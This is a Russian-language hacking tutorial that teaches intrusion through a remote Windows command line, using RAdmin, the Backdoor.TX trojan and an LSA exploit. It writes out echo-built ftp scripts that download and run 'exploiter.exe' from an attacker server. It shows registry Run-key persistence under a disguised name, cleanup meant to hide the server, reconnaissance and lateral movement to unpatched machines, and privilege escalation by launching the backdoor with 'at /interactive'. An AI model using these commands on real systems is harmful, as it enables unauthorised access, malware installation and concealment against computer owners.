[ Курс молодого бойца - взлом через командную строку ]

Многие ли из вас задумывались насколько полезной и опасной может оказаться 
командная строка?
Хочу предложить вам более внимательно приглядеться к этому вопросу.
Итак. Когда у вас есть доступ к чьей-то командной строке запущенной от 
SYSTEM, это хорошо.
Когда у вас есть доступ к чьей-либо командной строке запущенной от учетной 
записи с админ правами это очень хорошо!
Давайте ка рассмотрим это на примере RAdmin'a для системной учетки и на 
примере трояна Backdoor.TX от админа. Приступим.
RAdmin 2.1 предоставляет нам терминальное окно командной строки которая 
запускается на удаленной машине от имени системы. Как бы это ни звучало 
странно но работать с привилегиями системы чрезвычайно неудобно.
Ни тебе взаимодействия с окнами ни компьютер выключить. Но есть элегантное 
решение с повышением привилегий, но к сожалению в радмине не прокатит. Мы 
рассмотрим это на примере трояна бэкдора далее.
Командная строка, в умелых руках творит чудеса. С ее помощью можно вытащить 
столько полезной информации о системе что любому хватит. Разумеется это 
вам не диспетчер устройств, но тех сведений что она предоставит хватит для 
наших задач.
Вот например. Задача. У вас есть(неважно каким путем) доступ к командной 
строке под системной учеткой. Вам нужно закачать на компьютер файл и 
выполнить его. Что делать? Как закачать?
Есть такое полезное средство в виндах, низкоуровневый ftp клиент который 
так и именуется - ftp.
Через командную строку удаленную весьма сложно вводить пароль и юзернейм, 
легче сделать это дав этой утилите файл сценария фтп. Сначала требуется его 
создать. Например вот так он должен выглядеть:

open my-hack-server.net
Admin
12345
get myfile.exe %windir%\exploiter.exe
bye

Как его такой прописать с переносами? А на это есть универсальная команда 
echo. Прописав echo data>>text.txt вы тем самым выведите данные "data" в 
файл text.txt в текущей папке. Если такой файл есть, эти данные добавятся 
новой строкой в конце файла.
Текущая папка к сведению, отображается в окне cmd перед вводимой командой, 
например C:\windows\system32>, здесь текущая папка, как вы понимаете, 
C:\windows\system32. Чтобы работать в нужной вам папке без необходимости 
каждый раз дописывать полный путь к файлу введите cd имя_папки.
Итак продолжим с нашей задачей загрузки файла на компьютер. Создадим файл 
сценария для утилиты ftp.

echo open my-hack-server.net>>c&&echo Admin>>c&&echo 12345>>c&&echo get myfile.exe 
%windir%\exploiter.exe>>c&&echo bye>>c

Теперь у нас есть файл "c" в текущей папке где прописан весь сценарий для 
утилиты ftp. Теперь давайте вызовем ее.

ftp -s:c

Все, если все прошло успешно появится несколько записей с содержанием нашего 
файла сценария и процесс фтп завершится. Мы получим наш файл exploiter.exe =)
Главное - не забудьте удалить мусор. Команда "del c" удалит файл сценария 
чтобы ваш сервер не нашли.
Задача номер два - прописать этот файл в автозапуск.
Есть два варианта - просто скопировать его в папку 
<диск с windows>:\documents and settings\all users\ далее в зависимости от 
языка или Главное меню\Программы\Автозагрузка или Start menu\programs\startup\.
А есть вариант прописать в реестре.
Делается это очень хорошей утилитой reg. Немного о ней.
reg query - запрос всех ключей и параметров указанного ключа, например 
reg query "hklm\software\microsoft\windows nt\currentversion" или 
reg query hklm\system\currentcontrolset\services\sharedaccess\
Заметьте, что имена содержащие пробелы пишутся заключенными в кавычки иначе 
будет ошибка.
reg delete - удаление всего ключа или значения ключа, например 
reg delete "hklm\software\test soft\" /v myvalue удалит только myvalue значение 
из ключа, а reg delete "hklm\software\test soft" удалит весь ключ. Перед любой 
операцией delete будет запрос Y/N.
reg add - добавление/изменение значения, например 
reg add "hklm\software\microsoft\" /v Suckz /t REG_SZ /d "Oh yeah, M$ suckz!!!" 
добавит параметр Suckz типа строки, а 
reg add "hklm\software\microsoft\" /v Suckz /t REG_DWORD /d 1 добавит тот же
параметр но типа REG_DWORD, то есть численное значение до 0xFFFFFFFF.

В нашем случае будет полезна функция reg add. Чтобы добавить прогу в 
автозагрузку пропишем команду:

reg add hklm\software\microsoft\windows\currentversion\run\ /v ctfmonz.exe /t REG_SZ /d exploiter.exe

Вот мы и прописали наш файлик в реестре. Теперь можно спокойно поизучать систему.
Во первых обычно при вторжении на компьютер требуется определить структуру сети и 
подключен ли он к другим компьютерам по подсети. Большой удачей можно считать 
захват сервера подсети, например 192.168.0.1. Не всегда это значит что это основной 
сервер, ип можно прописать любой, но все же представление о структуре сети можно 
получить набором утилит netstat и ipconfig.
Команда netstat -ano выведет список всех текущих подключений к компьютеру и от него. 
Там же чаще всего можно увидеть какие порты открыты, какие сервера установлены и 
примерно узнать что сейчас делает владелец компьютера.
Команда ipconfig /all выведет все сетевые интерфейсы компьютера с IP адресами и 
аппаратными адресами. Тоже весьма полезно в изучении структуры сетей.
На офисных серверах чаще всего стоят Windows XP SP2 а скоро и SP3, или 
Windows Server 2003. Админы разумеется не перекрывают NetBIOS в подсети. А 
часто там находятся компьютеры с WinXP SP1 или без SP. Значит их можно взломать 
через lsa exploit используя сервер как отправную точку. И так далее, если другие 
компьютеры используют центральный сервер который вы взломали для выхода в интернет, 
то вы также сможете закачать свои программы на эти компьютеры.
Для общей системной информации используем systeminfo, там много ценной информации 
о системе, в т.ч. аптайм, что тоже может о многом говорить для каких целей 
используется компьютер, чаще всего если аптайм более 3 суток это серверный компьютер 
на котором есть что посмотреть, хотя опять таки не всегда. Это лишь теория.
Чтобы процессы посмотреть или грохнуть что нибудь юзаем tasklist и taskkill. 
Следует отметить что tasklist в Winows XP без сп или с сп1 не работает.
Убивать процесс по найденному PID можно таким макаром: taskkill /F /PID PID_процесса, 
например так:

taskkill /F /PID 1234 - уничтожит процесс с дескриптором 1234.

Не забывайте, это всего лишь цифра, и они всегда разные даже в 1 системе при 
перезагрузке процесса или компьютера.
Базовые функции работы с файлами - dir, copy, del, echo.
dir перечисляет все папки и файлы в текущей папке(см выше).
copy что_копировать куда_копировать , например copy c:\windows\exploiter.exe 
"c:\documents and settings\all users\start menu\programs\startup\lamer.exe" - заметьте, 
в адресе где есть пробелы НЕОБХОДИМО ставить кавычки перед и после адреса.
del что_удалять удаляем файл/папку.

Думаю освоившись с ftp, echo, dir, del, copy, reg и netstat вы далее сами уже всему 
научитесь =)

Теперь давайте рассмотрим очень любопытную возможность повышения привилегий на 
примере трояна Backdoor.TX. Это к слову один из самых простых и популярных 
бэкдоров шеллкод которого используется многими хакерами по всему миру.

Его принцип работы состоит в создании сокета на порту 8080, принятия коннекта и 
связывания stdin, stdout с сокетом а далее запуска командной строки. Больше сам 
процесс трояна не требуется и он завершается.
Рассмотрим такую связку - LSA Exploit + Backdoor.TX.
При коннекте через LSA Exploit создается сервер на указанном порту, и такая же 
связка stdin и stdout с серверным сокетом. Но происходит это от имени системы, 
что не дает выполнять команду shutdown и некоторые другие.
Что делать? А вот что-загрузим известным нам уже способом по фтп наш троян 
Backdoor.tx, и попытаемся запустить его в режиме Interactive, фактически от имени
юзера который сейчас сидит и даже не подозревает о том злодеянии что приготовил 
ему билл гейтс и вы с LSA Exploit'ом =)
Как? Простой запуск трояна ни к чему не приведет, потому что привилегии создаваемого 
процесса наследуются от родителя, значит опять будут все те же самые ограничения. 
Решается это просто - командой at
Стоит заметить что иногда она не работает выдавая ошибку "Служба не запущена". В 
таком случае незаменимой становится утилита net. Запустим сервис Планировщика задач 
нужный утилите at вот таким методом:

net start schedule

Если служба не была намеренно отключена администратором то нам удастся ее запустить. 
После запуска проследуем к команде at
Перед этим надо получить текущее время на удаленной машине, командой time /t
Она выведет текущее время. Вводим далее это время в at, но +2 минуты.
at полученное_время_+2минуты /interactive путь_к_файлу

Ждем некоторое время. Смотрим когда время наступило netstat -ano, есть ли там порт 8080. 
Если да, пробуем подключиться через компонент lsa exploit'a, lsesd адрес порт, 
например lsesd 83.174.254.243 8080
При удачном подключении вы можете запускать программы от имени юзера и далее рулить 
системой как вашей фантазии угодно :)

(c) M0Dificator